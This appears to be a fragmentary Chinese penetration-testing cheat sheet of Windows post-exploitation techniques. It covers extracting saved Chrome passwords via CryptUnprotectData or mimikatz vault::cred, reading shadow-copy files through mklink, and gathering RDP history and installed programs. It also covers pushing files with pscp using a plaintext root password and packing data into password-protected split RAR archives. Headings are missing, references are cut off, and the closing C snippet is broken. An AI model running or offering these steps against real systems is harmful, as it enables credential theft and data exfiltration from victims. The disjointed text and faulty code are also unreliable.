wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
Value | Meaning |
---|---|
0 (0x0) | Unspecified |
1 (0x1) | Desktop |
2 (0x2) | Mobile |
3 (0x3) | Workstation |
4 (0x4) | Enterprise Server |
5 (0x5) | Small Office and Home Office (SOHO) Server |
6 (0x6) | Appliance PC |
7 (0x7) | Performance Server |
8 (0x8) | Maximum |
方法1:
读取数据库文件%LocalAppData%\Google\Chrome\User Data\Default\Login Data
,如果Chrome浏览器正在运行,无法直接读取,需要先复制
在当前系统调用API CryptUnprotectData直接解密
方法2:
mimikatz
vault::cred
参考:
使用Master Key,不需要获得用户明文密码
参考:
《渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码》
查询当前系统有无快照:
vssadmin list shadows
访问历史快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc
参考:
aa && bb
执行aa,成功后再执行bb
aa || bb
先执行aa,若执行成功则不再执行bb,若失败则再执行bb
aa & bb
先执行aa再执行bb,无论aa是否成功
两种方法,代码可参考:
https://github.com/3gstudent/SendMail-with-Attachments
默认读注册表只能获取当前已登录用户的注册表信息,可通过reg load
加载配置单元获得未登录用户的注册表配置
代码可参考:
https://github.com/3gstudent/ListInstalledPrograms
参考:
《渗透技巧——获得Windows系统的远程桌面连接历史记录》
下载地址:
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
上传的命令如下:
pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/
会提示是否存储缓存文件
输入Y
,在注册表新建键值:HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
,下次连接不需要再次输入Y
输入N
,不保存注册表键值
实现自动输入N
命令的方法:
echo n |pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/
- On Windows 8 and later, NtQueryInformationProcess with ProcessHandleInformation is the most efficient method.
- On Windows XP and later, NtQuerySystemInformation with SystemExtendedHandleInformation.
- On Windows 7 and later, NtQuerySystemInformation with SystemHandleInformation can be used.
Note:
- WinXP and Win7,ObjectTypeNumber = 0x1c
- Win8 and later,ObjectTypeNumber = 0x1e
https://github.com/3gstudent/test/raw/master/rar.exe
最高压缩比:
rar.exe a -m5 1.rar 1.txt -p123456
分卷压缩,每10MB一个压缩包:
rar.exe a -m5 -v10m 1.rar 1.txt -p123456
解压缩:
rar.exe e 1.rar -p123456
/v参数显示详细信息,对搜集信息很有帮助
WCHAR srcString[20] = L"I love you!";
WCHAR targetString[20];
wcsncpy_s(targetString, wcslen(targetString), srcString + 1, (wcslen(targetString) - 1);
wprintf_s(L"%s\n", targetString);